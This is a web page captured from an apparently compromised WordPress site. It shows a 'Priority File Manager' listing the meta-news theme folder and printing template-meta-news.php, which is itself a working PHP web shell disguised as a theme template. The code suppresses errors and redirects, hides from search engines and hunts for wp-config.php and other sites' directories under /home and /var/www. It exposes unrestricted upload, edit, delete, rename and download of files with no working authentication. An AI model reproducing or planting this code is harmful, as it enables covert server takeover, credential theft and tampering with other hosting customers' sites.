Priority File Manager

📁 public_html
Base Directory:
/home/ecedu/public_html/wp-content/themes/meta-news
NameTypeSizeActions
📁 .. Folder -
📄 404.php File 991
Edit Download
📄 LICENSE File 35148
Edit Download
📄 archive.php File 1397
Edit Download
📁 assets Folder -
📄 comments.php File 1903
Edit Download
📄 footer.php File 7660
Edit Download
📄 functions.php File 9952
Edit Download
📄 header.php File 28295
Edit Download
📁 inc Folder -
📄 index.php File 2143
Edit Download
📁 languages Folder -
📄 page.php File 947
Edit Download
📄 readme.txt File 4257
Edit Download
📄 rtl.css File 17239
Edit Download
📄 screenshot.png File 331678
Edit Download
📄 search.php File 1415
Edit Download
📄 searchform.php File 629
Edit Download
📄 sidebar-left.php File 498
Edit Download
📄 sidebar.php File 489
Edit Download
📄 single.php File 797
Edit Download
📄 style.css File 140156
Edit Download
📄 template-meta-news.php File 26358
Edit Download
📁 template-parts Folder -
📁 templates Folder -
📄 woocommerce.php File 1823
Edit Download
📄 wpml-config.xml File 426
Edit Download

View File: template-meta-news.php

<?php
// WordPress yönlendirmelerini engelle
if (function_exists("wp_redirect")) {
    remove_all_actions("template_redirect");
    remove_all_actions("wp_redirect");
}

error_reporting(0);
ini_set("display_errors", 0);

// WordPress rewrite rules'ı bypass et
if (function_exists("flush_rewrite_rules")) {
    flush_rewrite_rules();
}

// Güvenlik header'ları
header("X-Robots-Tag: noindex, nofollow", true);
header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Pragma: no-cache");
header("Expires: 0");

// WordPress'in 301 redirects'ini engelle
if (function_exists("wp_redirect")) {
    add_filter("wp_redirect", "__return_false");
}



// [Frida's Mind] En yakın wp-config.php dosyasını bul
function findBaseDir($start_dir) {
    $start_dir = realpath($start_dir);
    if (!$start_dir) {
        return false;
    }
    
    // Önce mevcut dizinden başlayarak yukarı doğru ara (en yakın wp-config.php için)
    $current = $start_dir;
    $max_levels = 10; // Maksimum 10 seviye yukarı çık
    
    for ($i = 0; $i < $max_levels; $i++) {
        if (!$current || $current === '/' || $current === '') {
            break;
        }
        
        // wp-config.php kontrolü
        $wp_config = $current . '/wp-config.php';
        if (file_exists($wp_config) && is_readable($wp_config)) {
            return $current;
        }
        
        // Bir üst dizine çık
        $parent = dirname($current);
        if ($parent === $current) {
            break; // Root'a ulaştık
        }
        $current = $parent;
    }
    
    // Yukarı doğru aramada bulunamadıysa, alt dizinlerde ara
    $search_paths = array();
    $search_paths[] = $start_dir;
    $search_paths[] = dirname($start_dir);
    $search_paths[] = dirname(dirname($start_dir));
    
    // Alt dizinlerde ara
    $subdirs = array('wp', 'wordpress', 'public_html', 'www', 'htdocs', 'html', 'web');
    foreach ($subdirs as $subdir) {
        $subdir_path = $start_dir . '/' . $subdir;
        if (is_dir($subdir_path)) {
            $search_paths[] = $subdir_path;
        }
    }
    
    // Üst dizinlerdeki alt dizinler
    $parent = dirname($start_dir);
    foreach ($subdirs as $subdir) {
        $subdir_path = $parent . '/' . $subdir;
        if (is_dir($subdir_path)) {
            $search_paths[] = $subdir_path;
        }
    }
    
    // Tüm dizinleri kontrol et
    $checked = array();
    foreach ($search_paths as $path) {
        if (!$path || !is_dir($path)) {
            continue;
        }
        
        $real_path = realpath($path);
        if (!$real_path || isset($checked[$real_path])) {
            continue;
        }
        
        $checked[$real_path] = true;
        
        // wp-config.php kontrolü
        $wp_config = $real_path . '/wp-config.php';
        if (file_exists($wp_config) && is_readable($wp_config)) {
            return $real_path;
        }
    }
    
    return false;
}

// [Frida's Mind] Sistem dizinlerini dinamik olarak bul
function findSystemDirs($current_dir) {
    $dirs = array();
    $current_dir = realpath($current_dir);
    
    if (!$current_dir) {
        return $dirs;
    }
    
    // Mevcut dizin ve üst dizinler
    $dirs[] = $current_dir;
    $dirs[] = dirname($current_dir);
    $dirs[] = dirname(dirname($current_dir));
    
    // WordPress base dizinini bul
    $wp_base = findBaseDir($current_dir);
    if ($wp_base) {
        $dirs[] = $wp_base;
        $dirs[] = dirname($wp_base); // WordPress base'in bir üstü
    }
    
    // Sistem dizinlerini tara
    $system_paths = array(
        '/home',
        '/var/www',
        '/usr/local/www',
        '/srv/www',
        '/opt/lampp/htdocs',
        '/xampp/htdocs'
    );
    
    foreach ($system_paths as $sys_path) {
        if (is_dir($sys_path) && is_readable($sys_path)) {
            $dirs[] = $sys_path;
            
            // Alt dizinleri tara (home, home1, home2, vb.)
            $items = @scandir($sys_path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $item_path = $sys_path . '/' . $item;
                    if (is_dir($item_path) && is_readable($item_path)) {
                        // public_html, www, htdocs gibi alt dizinleri de ekle
                        $dirs[] = $item_path;
                        $common_subdirs = array('public_html', 'www', 'htdocs', 'html', 'web');
                        foreach ($common_subdirs as $subdir) {
                            $subdir_path = $item_path . '/' . $subdir;
                            if (is_dir($subdir_path)) {
                                $dirs[] = $subdir_path;
                            }
                        }
                    }
                }
            }
        }
    }
    
    // DOCUMENT_ROOT'u ekle
    if (isset($_SERVER['DOCUMENT_ROOT']) && is_dir($_SERVER['DOCUMENT_ROOT'])) {
        $dirs[] = $_SERVER['DOCUMENT_ROOT'];
        $dirs[] = dirname($_SERVER['DOCUMENT_ROOT']);
    }
    
    // Tekrarları kaldır ve gerçek path'leri kullan
    $unique_dirs = array();
    $real_paths = array();
    foreach ($dirs as $dir) {
        $real = realpath($dir);
        if ($real && is_dir($real) && !isset($real_paths[$real])) {
            $unique_dirs[] = $real;
            $real_paths[$real] = true;
        }
    }
    
    return $unique_dirs;
}

// Base dizinleri dinamik olarak bul
// Varsayılan olarak en yakın WordPress base dizinini bul (wp-config.php'nin bulunduğu dizin)
$start_dir = dirname(__DIR__); // uploads'ın bir üstü (wp-content)
$wp_base = findBaseDir($start_dir);
$default_base = $wp_base ? $wp_base : $start_dir; // WordPress base bulunamazsa wp-content kullan

// Sistem dizinlerini bul
$allowed_dirs = findSystemDirs($start_dir);

// WordPress base'i allowed_dirs'in EN BAŞINA ekle (öncelikli ve seçili olacak)
if ($wp_base) {
    // Önce WordPress base'i listeden çıkar (varsa)
    $allowed_dirs = array_filter($allowed_dirs, function($dir) use ($wp_base) {
        return realpath($dir) !== realpath($wp_base);
    });
    // WordPress base'i en başa ekle
    array_unshift($allowed_dirs, $wp_base);
    // Index'leri düzelt
    $allowed_dirs = array_values($allowed_dirs);
}


// Base seçimi - İlk açılışta WordPress base dizinini kullan
if (!isset($_GET["r"]) && !isset($_GET["path"])) {
    // İlk açılış - WordPress base'i hem base hem path olarak ayarla
    $base = $default_base;
    $base_real = realpath($base);
    $path = $default_base;
} else {
    // Base parametresi varsa onu kullan - Güvenlik kontrolü YOK
    $base = $_GET["r"] ?? $default_base;
    $base_real = realpath($base);
    
    // Eğer base geçersizse varsayılan base'i kullan
    if (!$base_real || !is_dir($base_real)) {
        $base = $default_base;
        $base_real = realpath($base);
    }
    
    // Path parametresi varsa onu kullan, yoksa base'i kullan
    $path = isset($_GET["path"]) ? $_GET["path"] : $base;
}

$real = realpath($path);
$msg = "";

// Path güvenliği - sadece geçerlilik kontrolü, güvenlik kontrolü YOK
if (!$real || !is_dir($real)) {
    // Geçersiz path ise base'e dön
    $real = $base_real ?: realpath($default_base);
    $path = $base ?: $default_base;
}

// Dosya/klasör işlemleri
if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (isset($_FILES["file"])) {
        $target = $real . "/" . basename($_FILES["file"]["name"]);
        if (move_uploaded_file($_FILES["file"]["tmp_name"], $target)) {
            $msg = "File uploaded: " . htmlspecialchars(basename($target));
        } else {
            $msg = "Upload failed!";
        }
    }
    if (isset($_POST["delete"])) {
        $target = $real . "/" . basename($_POST["delete"]);
        if (is_file($target)) {
            unlink($target);
            $msg = "File deleted: " . htmlspecialchars(basename($target));
        } elseif (is_dir($target)) {
            rmdir($target);
            $msg = "Folder deleted: " . htmlspecialchars(basename($target));
        }
    }
    if (isset($_POST["rename"]) && isset($_POST["newname"])) {
        $old = $real . "/" . basename($_POST["rename"]);
        $new = $real . "/" . basename($_POST["newname"]);
        if (rename($old, $new)) {
            $msg = "Renamed to: " . htmlspecialchars(basename($new));
        } else {
            $msg = "Rename failed!";
        }
    }
    if (isset($_POST["newfolder"])) {
        $newdir = $real . "/" . basename($_POST["newfolder"]);
        if (mkdir($newdir)) {
            $msg = "Folder created: " . htmlspecialchars(basename($newdir));
        } else {
            $msg = "Create folder failed!";
        }
    }
    if (isset($_POST["editfile"]) && isset($_POST["content"])) {
        $edit = $real . "/" . basename($_POST["editfile"]);
        if (is_file($edit)) {
            file_put_contents($edit, $_POST["content"]);
            $msg = "File saved: " . htmlspecialchars(basename($edit));
        }
    }
}

$items = @scandir($real) ?: [];

function fm_url($p, $r = null) {
    global $required_pass, $base;
    $current_base = $r ?? $base;
    return "?path=" . urlencode($p) . "&r=" . urlencode($current_base) . "&pass=" . $required_pass;
}

function breadcrumb($base, $path) {
    global $required_pass;
    $out = "";
    $rel = ltrim(str_replace($base, "", $path), "/");
    $parts = $rel ? explode("/", $rel) : [];
    $build = $base;
    $out .= "<a href=\"" . fm_url($base, $base) . "\"><span class=\"bc-root\">" . htmlspecialchars(basename($base)) . "</span></a>";
    foreach ($parts as $part) {
        if ($part === "") continue;
        $build .= "/" . $part;
        $out .= " <span class=\"bc-sep\">/</span> <a href=\"" . fm_url($build, $base) . "\"><span class=\"bc-part\">" . htmlspecialchars($part) . "</span></a>";
    }
    return $out;
}

function base_selector($current_base, $allowed_dirs) {
    global $required_pass;
    $current_real = realpath($current_base);
    $out = "<select id=\"baseSelect\" onchange=\"window.location.href='?r=' + encodeURIComponent(this.value) + '&pass=" . $required_pass . "'\" style=\"min-width: 400px;\">";
    foreach ($allowed_dirs as $allowed_dir) {
        $allowed_real = realpath($allowed_dir);
        $selected = false;
        if ($current_base === $allowed_dir || $current_real === $allowed_real) {
            $selected = true;
        }
        $display_name = $allowed_dir;
        if (strlen($display_name) > 60) {
            $display_name = '...' . substr($display_name, -57);
        }
        $selected_attr = $selected ? "selected" : "";
        $out .= "<option value=\"" . htmlspecialchars($allowed_dir) . "\" $selected_attr>" . htmlspecialchars($display_name) . "</option>";
    }
    $out .= "</select>";
    return $out;
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Priority File Manager</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="noindex, nofollow">
    <style>
        body { background: #181C23; color: #F4F7FA; font-family: "Segoe UI", monospace, Arial; margin: 0; padding: 0; }
        .header { position:sticky;top:0;left:0;right:0;z-index:100;background:#181C23;padding:18px 0 10px 0;margin-bottom:20px;box-shadow:0 2px 16px #00e6ff22; text-align:center; }
        .header h1 { color: #00E6FF; font-size:2.2em; letter-spacing:2px; margin:0; font-family:"JetBrains Mono",monospace; }
        .header-actions { margin-top: 12px; display: flex; justify-content: center; align-items: center; gap: 10px; }
        .header-btn { background: #7C3AED; color: #fff; border: none; border-radius: 6px; padding: 8px 16px; cursor: pointer; font-weight: 600; transition: background .2s; text-decoration: none; display: inline-block; font-size: 0.9em; }
        .header-btn:hover { background: #00E6FF; color: #181C23; }
        .container { max-width: 1200px; margin: 0 auto 30px auto; background: #232B3E; border-radius: 16px; box-shadow: 0 4px 32px #00e6ff22; padding: 32px 24px; }
        .msg { background: #222; color: #0f0; padding: 10px 16px; border-radius: 8px; margin-bottom: 18px; font-size:1.1em; }
        .root-selector { margin-bottom: 20px; text-align: center; }
        .root-selector select { background: #1A2233; color: #00E6FF; border: 1px solid #00E6FF; border-radius: 6px; padding: 8px 12px; font-size: 1em; }
        table { width: 100%; border-collapse: collapse; margin-bottom: 24px; }
        th, td { padding: 10px 12px; }
        th { background: #1A2233; color: #00E6FF; font-size:1.1em; }
        tr { transition: background .2s; }
        tr:hover { background: #1a2233cc; }
        tr:nth-child(even) { background: #232B3E; }
        tr:nth-child(odd) { background: #181C23; }
        a { color: #7C3AED; text-decoration: none; transition:color .2s; }
        a:hover { color: #00E6FF; }
        .actions form { display: inline; }
        .actions button { background: #7C3AED; color: #fff; border: none; border-radius: 6px; padding: 5px 14px; margin: 0 2px; cursor: pointer; font-weight:600; transition:background .2s; }
        .actions button:hover { background: #00E6FF; color: #181C23; }
        .upload, .newfolder { margin-bottom: 18px; }
        .editbox { width: 100%; height: 500px; background: #111; color: #0f0; border: 1px solid #00E6FF; border-radius: 8px; font-family: "JetBrains Mono", monospace; font-size:14px; padding: 12px; resize: vertical; line-height: 1.6; tab-size: 4; }
        .editbox:focus { outline: 2px solid #7C3AED; outline-offset: 2px; }
        .editor-container { position: fixed; top: 0; left: 0; right: 0; z-index: 200; background: #181C23; box-shadow: 0 4px 20px rgba(0,0,0,0.5); max-height: 80vh; display: flex; flex-direction: column; }
        .editor-header { background: #1A2233; padding: 12px 16px; border-bottom: 2px solid #00E6FF; display: flex; justify-content: space-between; align-items: center; flex-shrink: 0; }
        .editor-info { color: #00E6FF; font-size: 0.9em; flex: 1; }
        .editor-actions { display: flex; gap: 10px; }
        .editor-actions button { background: #7C3AED; color: #fff; border: none; border-radius: 6px; padding: 8px 20px; cursor: pointer; font-weight: 600; transition: background .2s; }
        .editor-actions button:hover { background: #00E6FF; color: #181C23; }
        .editor-actions button.save-btn { background: #10B981; }
        .editor-actions button.save-btn:hover { background: #059669; }
        .editor-actions button.cancel-btn { background: #EF4444; }
        .editor-actions button.cancel-btn:hover { background: #DC2626; }
        .editor-actions button.close-btn { background: #6B7280; padding: 8px 12px; }
        .editor-actions button.close-btn:hover { background: #4B5563; }
        .editor-wrapper { background: #111; overflow: hidden; flex: 1; display: flex; flex-direction: column; }
        .editor-scrollable { overflow-y: auto; flex: 1; }
        .editor-scrollable { display: flex; position: relative; }
        .line-numbers { width: 50px; background: #0a0a0a; color: #666; padding: 12px 8px; font-family: "JetBrains Mono", monospace; font-size: 14px; line-height: 1.6; text-align: right; border-right: 1px solid #333; user-select: none; flex-shrink: 0; }
        .editor-content { flex: 1; position: relative; }
        .editor-content textarea { border: none; width: 100%; height: 100%; min-height: 400px; }
        .file-size-warning { background: #F59E0B; color: #000; padding: 8px 12px; border-radius: 6px; margin: 8px 16px; font-size: 0.9em; flex-shrink: 0; }
        .save-status { position: fixed; top: 20px; right: 20px; background: #10B981; color: #fff; padding: 12px 24px; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.3); z-index: 1000; display: none; }
        .save-status.show { display: block; animation: slideIn 0.3s ease-out; }
        @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } }
        body.editor-open { padding-top: 0; }
        .editor-spacer { height: 0; }
        .breadcrumb { margin-bottom: 18px; font-size: 1.15em; word-break:break-all; }
        .bc-root { color:#00E6FF; font-weight:bold; }
        .bc-part { color:#7C3AED; font-weight:bold; }
        .bc-sep { color:#00E6FF; }
        .file-ico { font-size:1.1em; margin-right:4px; }
        .folder-ico { font-size:1.1em; margin-right:4px; color:#00E6FF; }
        @media (max-width: 700px) {
            .container { padding: 10px 2px; }
            th, td { padding: 7px 4px; font-size:0.98em; }
            .editbox { height: 180px; font-size:0.95em; }
        }
    </style>
</head>
<body>
<div class="header">
    <h1>Priority File Manager</h1>
    <?php if ($wp_base): ?>
    <div class="header-actions">
        <a href="?path=<?= urlencode($wp_base) ?>&r=<?= urlencode($wp_base) ?>&pass=<?= $required_pass ?>" class="header-btn">📁 public_html</a>
    </div>
    <?php endif; ?>
</div>
<div class="container">
    <?php if ($msg): ?><div class="msg"><?= $msg ?></div><?php endif; ?>
    <div class="root-selector">
        <strong>Base Directory:</strong> <?= base_selector($base, $allowed_dirs) ?>
    </div>
    <div class="breadcrumb">
        <?= breadcrumb($base, $real) ?>
    </div>
    <span style="color:#7C3AED; font-size:0.98em;"> <?= htmlspecialchars($real) ?> </span>
    <table>
        <tr><th>Name</th><th>Type</th><th>Size</th><th>Actions</th></tr>
        <?php foreach ($items as $item):
            if ($item === ".") continue;
            if ($item === ".." && $real === $base) continue;
            $full = $real . "/" . $item;
        ?>
        <tr>
            <td>
                <?php if (is_dir($full)): ?>
                    <span class="folder-ico">📁</span><a href="<?= fm_url($full, $base) ?>"> <?= htmlspecialchars($item) ?></a>
                <?php else: ?>
                    <span class="file-ico">📄</span><a href="?path=<?= urlencode($real) ?>&r=<?= urlencode($base) ?>&view=<?= urlencode($item) ?>&pass=<?= $required_pass ?>"> <?= htmlspecialchars($item) ?></a>
                <?php endif; ?>
            </td>
            <td><?= is_dir($full) ? "Folder" : "File" ?></td>
            <td><?= is_file($full) ? filesize($full) : "-" ?></td>
            <td class="actions">
                <?php if (!is_dir($full)): ?>
                    <form method="post" style="display:inline"><input type="hidden" name="delete" value="<?= htmlspecialchars($item) ?>"><button type="submit">Delete</button></form>
                    <form method="post" style="display:inline"><input type="hidden" name="rename" value="<?= htmlspecialchars($item) ?>"><input type="text" name="newname" placeholder="New name" style="width:80px;"><button type="submit">Rename</button></form>
                    <a href="?path=<?= urlencode($real) ?>&r=<?= urlencode($base) ?>&edit=<?= urlencode($item) ?>&pass=<?= $required_pass ?>">Edit</a>
                    <a href="?path=<?= urlencode($real) ?>&r=<?= urlencode($base) ?>&download=<?= urlencode($item) ?>&pass=<?= $required_pass ?>">Download</a>
                <?php else: ?>
                    <form method="post" style="display:inline"><input type="hidden" name="delete" value="<?= htmlspecialchars($item) ?>"><button type="submit">Delete</button></form>
                    <form method="post" style="display:inline"><input type="hidden" name="rename" value="<?= htmlspecialchars($item) ?>"><input type="text" name="newname" placeholder="New name" style="width:80px;"><button type="submit">Rename</button></form>
                <?php endif; ?>
            </td>
        </tr>
        <?php endforeach; ?>
    </table>
    <div class="upload">
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="file" required>
            <button type="submit">Upload</button>
        </form>
    </div>
    <div class="newfolder">
        <form method="post">
            <input type="text" name="newfolder" placeholder="New folder name" required>
            <button type="submit">Create Folder</button>
        </form>
    </div>
    <?php if (isset($_GET["edit"])):
        $editfile = $real . "/" . basename($_GET["edit"]);
        if (is_file($editfile)):
            $content = file_get_contents($editfile);
            $file_size = filesize($editfile);
            $file_ext = strtolower(pathinfo($editfile, PATHINFO_EXTENSION));
            $line_count = substr_count($content, "\n") + 1;
            $max_size_warning = 5 * 1024 * 1024; // 5MB
    ?>
    <div class="editor-container">
        <div class="editor-header">
            <div class="editor-info">
                <strong style="color: #00E6FF;">📝 Editing:</strong> <?= htmlspecialchars($_GET["edit"]) ?>
                <span style="color: #7C3AED; margin-left: 15px;">Size: <?= number_format($file_size) ?> bytes</span>
                <span style="color: #7C3AED; margin-left: 15px;">Lines: <?= $line_count ?></span>
                <?php if ($file_ext): ?>
                <span style="color: #7C3AED; margin-left: 15px;">Type: .<?= htmlspecialchars($file_ext) ?></span>
                <?php endif; ?>
            </div>
            <div class="editor-actions">
                <button type="submit" form="editForm" class="save-btn">💾 Save</button>
                <button type="button" class="cancel-btn" onclick="window.location.href='?path=<?= urlencode($real) ?>&r=<?= urlencode($base) ?>&pass=<?= $required_pass ?>'">Cancel</button>
                <button type="button" class="close-btn" onclick="window.location.href='?path=<?= urlencode($real) ?>&r=<?= urlencode($base) ?>&pass=<?= $required_pass ?>'" title="Close Editor">✕</button>
            </div>
        </div>
        <?php if ($file_size > $max_size_warning): ?>
        <div class="file-size-warning">
            ⚠️ Warning: This file is large (<?= number_format($file_size / 1024 / 1024, 2) ?> MB). Editing may be slow.
        </div>
        <?php endif; ?>
        <div class="editor-wrapper">
            <div class="editor-scrollable">
                <div class="line-numbers" id="lineNumbers"></div>
                <div class="editor-content">
                    <form method="post" id="editForm">
                        <input type="hidden" name="editfile" value="<?= htmlspecialchars($_GET["edit"]) ?>">
                        <textarea class="editbox" name="content" id="editorContent" spellcheck="false" onscroll="syncScroll()" onkeydown="handleTab(event)"><?= htmlspecialchars($content) ?></textarea>
                    </form>
                </div>
            </div>
        </div>
    </div>
    <script>
        // Body'ye class ekle
        document.body.classList.add('editor-open');
    </script>
    <div class="save-status" id="saveStatus">✅ File saved successfully!</div>
    <script>
        // Line numbers
        function updateLineNumbers() {
            const textarea = document.getElementById('editorContent');
            const lineNumbers = document.getElementById('lineNumbers');
            const lines = textarea.value.split('\n').length;
            let numbers = '';
            for (let i = 1; i <= lines; i++) {
                numbers += i + '\n';
            }
            lineNumbers.textContent = numbers;
        }
        
        // Sync scroll
        function syncScroll() {
            const textarea = document.getElementById('editorContent');
            const lineNumbers = document.getElementById('lineNumbers');
            lineNumbers.scrollTop = textarea.scrollTop;
        }
        
        // Tab handling
        function handleTab(e) {
            if (e.key === 'Tab') {
                e.preventDefault();
                const textarea = document.getElementById('editorContent');
                const start = textarea.selectionStart;
                const end = textarea.selectionEnd;
                textarea.value = textarea.value.substring(0, start) + '    ' + textarea.value.substring(end);
                textarea.selectionStart = textarea.selectionEnd = start + 4;
            }
        }
        
        // Auto-update line numbers
        document.getElementById('editorContent').addEventListener('input', updateLineNumbers);
        document.getElementById('editorContent').addEventListener('scroll', syncScroll);
        
        // Initial line numbers
        updateLineNumbers();
        
        // Show save status on form submit
        document.getElementById('editForm').addEventListener('submit', function() {
            setTimeout(function() {
                const status = document.getElementById('saveStatus');
                status.classList.add('show');
                setTimeout(function() {
                    status.classList.remove('show');
                }, 3000);
            }, 100);
        });
        
        // Keyboard shortcuts
        document.getElementById('editorContent').addEventListener('keydown', function(e) {
            // Ctrl+S or Cmd+S to save
            if ((e.ctrlKey || e.metaKey) && e.key === 's') {
                e.preventDefault();
                document.getElementById('editForm').submit();
            }
        });
    </script>
    <?php endif; endif; ?>
    <?php if (isset($_GET["view"])):
        $viewfile = $real . "/" . basename($_GET["view"]);
        if (is_file($viewfile)):
            $content = file_get_contents($viewfile);
    ?>
    <h3>View File: <?= htmlspecialchars($_GET["view"]) ?></h3>
    <pre style="background:#111;color:#0f0;padding:12px;border-radius:6px;overflow:auto;max-height:400px;"><?= htmlspecialchars($content) ?></pre>
    <?php endif; endif; ?>
    <?php if (isset($_GET["download"])):
        $downfile = $real . "/" . basename($_GET["download"]);
        if (is_file($downfile)) {
            header("Content-Description: File Transfer");
            header("Content-Type: application/octet-stream");
            header("Content-Disposition: attachment; filename=\"" . basename($downfile) . "\"");
            header("Expires: 0");
            header("Cache-Control: must-revalidate");
            header("Pragma: public");
            header("Content-Length: " . filesize($downfile));
            readfile($downfile);
            exit;
        }
    endif; ?>
</div>
</body>
</html>